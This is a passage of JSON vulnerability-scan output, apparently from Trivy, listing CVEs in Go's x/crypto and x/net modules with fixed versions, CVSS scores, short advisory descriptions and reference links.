"ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-46595", "https://bugzilla.redhat.com/show_bug.cgi?id=2480689", "https://github.com/golang/crypto/commit/533fb3f7e4a5ae23f69d1837cd851d35ff5b76ce", "https://go.dev/cl/781642", "https://go.dev/issue/79570", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46595", "https://pkg.go.dev/vuln/GO-2026-5023", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46595.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-46595" ], "PublishedDate": "2026-05-22T04:16:25.55Z", "LastModifiedDate": "2026-09-11T13:18:12.367Z" }, { "VulnerabilityID": "CVE-2026-46597", "VendorIDs": [ "GO-2026-5013" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46597", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2175f31b9c1b5138e48c6d957514efbaf64b50055990d1814d2b122446a64a6e", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted AES-GCM packet decoder inputs", "Description": "An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.", "Severity": "HIGH", "CweIDs": [ "CWE-704" ], "VendorSeverity": { "amazon": 2, "azure": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46597", "https://go.dev/cl/781620", "https://go.dev/issue/79561", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46597", "https://pkg.go.dev/vuln/GO-2026-5013", "https://www.cve.org/CVERecord?id=CVE-2026-46597" ], "PublishedDate": "2026-05-22T04:16:26.003Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-56854", "VendorIDs": [ "GO-2026-6303" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56854", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:664edd555d64f8ae989ffe26fe4b6db82a432bbe42dc7976c50f85aea5638ef1", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authentication bypass due to unenforced source-address restrictions", "Description": "The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "amazon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-56854", "https://go.dev/cl/797040", "https://go.dev/issue/80213", "https://nvd.nist.gov/vuln/detail/CVE-2026-56854", "https://pkg.go.dev/vuln/GO-2026-6303", "https://www.cve.org/CVERecord?id=CVE-2026-56854" ], "PublishedDate": "2026-08-28T16:18:17.607Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-25681", "VendorIDs": [ "GO-2026-5029" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25681", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:27b57d0e817056ed9da248b3bd007eb1723b7d032665a9ee26612dd0bbf3de71", "Title": "golang.org/x/net/html: golang.org/x/net/html: Arbitrary code execution via Cross-Site Scripting", "Description": "Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.", "Severity": "HIGH", "CweIDs": [ "CWE-1021" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69293", "https://access.redhat.com/security/cve/CVE-2026-25681", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2480762", "https://bugzilla.redhat.com/2484830", "https://bugzilla.redhat.com/2493622", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2480762", "https://bugzilla.redhat.com/show_bug.cgi?id=2484830", "https://bugzilla.redhat.com/show_bug.cgi?id=2493622", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41178", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42502", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55677", "https://errata.almalinux.org/9/ALSA-2026-69293.html", "https://errata.rockylinux.org/RLSA-2026:69293", "https://go.dev/cl/781703", "https://go.dev/issue/79574", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-25681.html", "https://linux.oracle.com/errata/ELSA-2026-69293.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25681", "https://pkg.go.dev/vuln/GO-2026-5029", "https://www.cve.org/CVERecord?id=CVE-2026-25681" ], "PublishedDate": "2026-05-22T16:16:19.863Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-27136", "VendorIDs": [ "GO-2026-5030" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27136", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:5db7e07efa66b48a58541118403a402eb384edaff65843f2a18497b80acb92d2", "Title": "golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass", "Description": "Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.", "Severity": "HIGH", "CweIDs": [ "CWE-1021" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69293", "https://access.redhat.com/security/cve/CVE-2026-27136", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2480762", "https://bugzilla.redhat.com/2484830", "https://bugzilla.redhat.com/2493622", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2480762", "https://bugzilla.redhat.com/show_bug.cgi?id=2484830", "https://bugzilla.redhat.com/show_bug.cgi?id=2493622", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41178", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42502", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55677", "https://errata.almalinux.org/9/ALSA-2026-69293.html", "https://errata.rockylinux.org/RLSA-2026:69293", "https://go.dev/cl/781685", "https://go.dev/issue/79575", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-27136.html", "https://linux.oracle.com/errata/ELSA-2026-69293.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27136", "https://pkg.go.dev/vuln/GO-2026-5030", "https://www.cve.org/CVERecord?id=CVE-2026-27136" ], "PublishedDate": "2026-05-22T16:16:20.087Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-33814", "VendorIDs": [ "GO-2026-4918" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.53.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33814", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:39bd3247556675eeb2a0002623255b335ae0b183a2cabfdea6aaf1242ff73034", "Title": "net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame", "Description": "When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57367", "https://access.redhat.com/errata/RHSA-2026:57408", "https://access.redhat.com/errata/RHSA-2026:57545", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60441", "https://access.redhat.com/errata/RHSA-2026:60442", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60447", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60478", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:60668", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62410", "https://access.redhat.com/errata/RHSA-2026:62550", "https://access.redhat.com/errata/RHSA-2026:62551", "https://access.redhat.com/errata/RHSA-2026:63046", "https://access.redhat.com/errata/RHSA-2026:63047", "https://access.redhat.com/errata/RHSA-2026:63048", "https://access.redhat.com/errata/RHSA-2026:63050", "https://access.redhat.com/errata/RHSA-2026:63091", "https://access.redhat.com/errata/RHSA-2026:63096", "https://access.redhat.com/errata/RHSA-2026:63097", "https://access.redhat.com/errata/RHSA-2026:63103", "https://access.redhat.com/errata/RHSA-2026:63104", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:63637", "https://access.redhat.com/errata/RHSA-2026:63639", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/security/cve/CVE-2026-33814", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://github.com/golang/go/issues/78476", "https://go-review.googlesource.com/c/go/+/761581", "https://go-review.googlesource.com/c/net/+/761640", "https://go.dev/cl/761581", "https://go.dev/cl/761640", "https://go.dev/issue/78476", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33814.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33814", "https://pkg.go.dev/vuln/GO-2026-4918", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33814.json", "https://ubuntu.com/security/notices/USN-8430-1", "https://ubuntu.com/security/notices/USN-8471-1", "https://ubuntu.com/security/notices/USN-8472-1", "https://ubuntu.com/security/notices/USN-8473-1", "https://www.cve.org/CVERecord?id=CVE-2026-33814" ], "PublishedDate": "2026-05-07T20:16:42.88Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-39821", "VendorIDs": [ "GO-2026-5026" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39821", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:382420f65b824e2be8435a2578cff5183b76e525ca6303a6b8f8f6a99d25efac", "Title": "golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing", "Description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "Severity": "HIGH", "CweIDs": [ "CWE-1289" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:30853", "https://access.redhat.com/errata/RHSA-2026:30854", "https://access.redhat.com/errata/RHSA-2026:30855", "https://access.redhat.com/errata/RHSA-2026:33155", "https://access.redhat.com/errata/RHSA-2026:33160", "https://access.redhat.com/errata/RHSA-2026:33163", "https://access.redhat.com/errata/RHSA-2026:33173", "https://access.redhat.com/errata/RHSA-2026:33183", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:34789", "https://access.redhat.com/errata/RHSA-2026:35826", "https://access.redhat.com/errata/RHSA-2026:35827", "https://access.redhat.com/errata/RHSA-2026:35828", "https://access.redhat.com/errata/RHSA-2026:35829", "https://access.redhat.com/errata/RHSA-2026:35830", "https://access.redhat.com/errata/RHSA-2026:35831", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37435", "https://access.redhat.com/errata/RHSA-2026:37436", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:44624", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:52826", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54395", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54580", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56143", "https://access.redhat.com/errata/RHSA-2026:56223", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57541", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59546", "https://access.redhat.com/errata/RHSA-2026:59549", "https://access.redhat.com/errata/RHSA-2026:59562", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61245", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:63134", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65359", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/errata/RHSA-2026:66432", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67159", "https://access.redhat.com/errata/RHSA-2026:67160", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/security/cve/CVE-2026-39821", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", 